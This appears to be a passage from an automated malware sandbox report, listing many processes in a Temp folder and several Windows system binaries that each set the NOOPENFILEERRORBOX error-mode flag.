Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process information set: NOOPENFILEERRORBOX
